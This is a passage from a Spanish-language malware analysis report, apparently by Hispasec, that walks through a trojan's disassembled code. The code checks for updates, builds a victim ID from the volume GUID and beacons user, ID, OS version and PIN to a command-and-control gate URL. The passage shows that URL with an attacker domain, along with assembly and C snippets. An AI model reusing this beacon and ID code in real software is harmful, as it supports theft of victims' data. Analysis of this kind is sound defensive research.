Continuamos con el troyano. Tambin comprueba si existe una versin actualizada de s mismo: .text:00401ACB .text:00401AD0 lpszServerName .text:00401AD7 "partner_024" .text:00401ADC .text:00401ADD "/%s?user=%s&upg=upg" .text:00401AE2 .text:00401AE9 .text:00401AEE .text:00401AEF .text:00401AF5 .text:00401AFB .text:00401B02 .text:00401B09 .text:00401B0C .text:00401B0D mov mov push push push lea push push call mov mov lea add push lea eax, ds:C_i_C_index ecx, ds:scripts_array[eax*4] ; offset aPartner_024 ; ecx offset aS?userSUpgUpg ; edx, [esp+774h] 104h ; _DWORD edx ; _DWORD ds:wnsprintfA ecx, ds:C_i_C_index ecx, ds:domains_array[ecx*4] eax, [esp+77Ch] esp, 14h eax edi, [esp+55Ch]

www.hispasec.com

22

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:00401B14 .text:00401B19 .text:00401B1C .text:00401B21 .text:00401B23 .text:00401B24

call add push mov push call

getRequest esp, 4 offset aHttp edx, edi edx ds:StrStrIA

; "http://" ; _DWORD

Si existe esa nueva versin, el troyano se almacena como kodak.exe y la vieja versin como old.tmp. Tambin comprueba si ya existe el PIN. Si es correcto, crea un ID nico de la vctima, basado en esto:
//#define CSIDL_WINDOWS 0x0024 // GetWindowsDirectory() SHGetFolderPathA(0, CSIDL_WINDOWS, 0, 0, path); PathRemoveFileSpecA(path); GetVolumeNameForVolumeMountPointA(path,volumeGUID,100); return extractGUID(volumeGUID)

Tambin recoge la versin del sistema operativo, y lo enva todo al atacante creando una URL: .text:00401EE5 push .text:00401EE6 call .text:00401EEB mov .text:00401EF1 mov .text:00401EF8 push .text:00401EF9 push .text:00401EFA push "partner_024" .text:00401EFF push .text:00401F00 push "/%s?user=%s&uid=%s&os=%i&pin=%s" .text:00401F05 lea .text:00401F0C push .text:00401F11 push .text:00401F12 call El resultado ser, por ejemplo: http://lertionk05.be/loc/gate.php?user=partner_024&uid={D3666972-A3FC-11DCAD63-806D6172696F}&os=2&pin=6337180110129384751 Si no hay PIN, enva la URL sin ese dato. Repite la comprobacin cada 13 segundos. ebx getOSVersion ecx, ds:C_i_C_index edx, ds:scripts_arrays[ecx*4] eax edi offset aPartner_024 ; edx offset aS?userSUidSOsI ; eax, [esp+678h] 104h ; _DWORD eax ; urlPath ds:wnsprintfA

2.9 Ejecucin con el parmetro i


Esta opcin sirve para borrar tmp.old (que si recordamos, era la versin antigua si exista una nueva) y vuelve a inyectarse en Explorer.exe.

2.10 Ejecucin con el parmetro u


Esta opcin es directamente intil. Lo nico que hace es salir del proceso, llamando a ExitProcess.

www.hispasec.com

23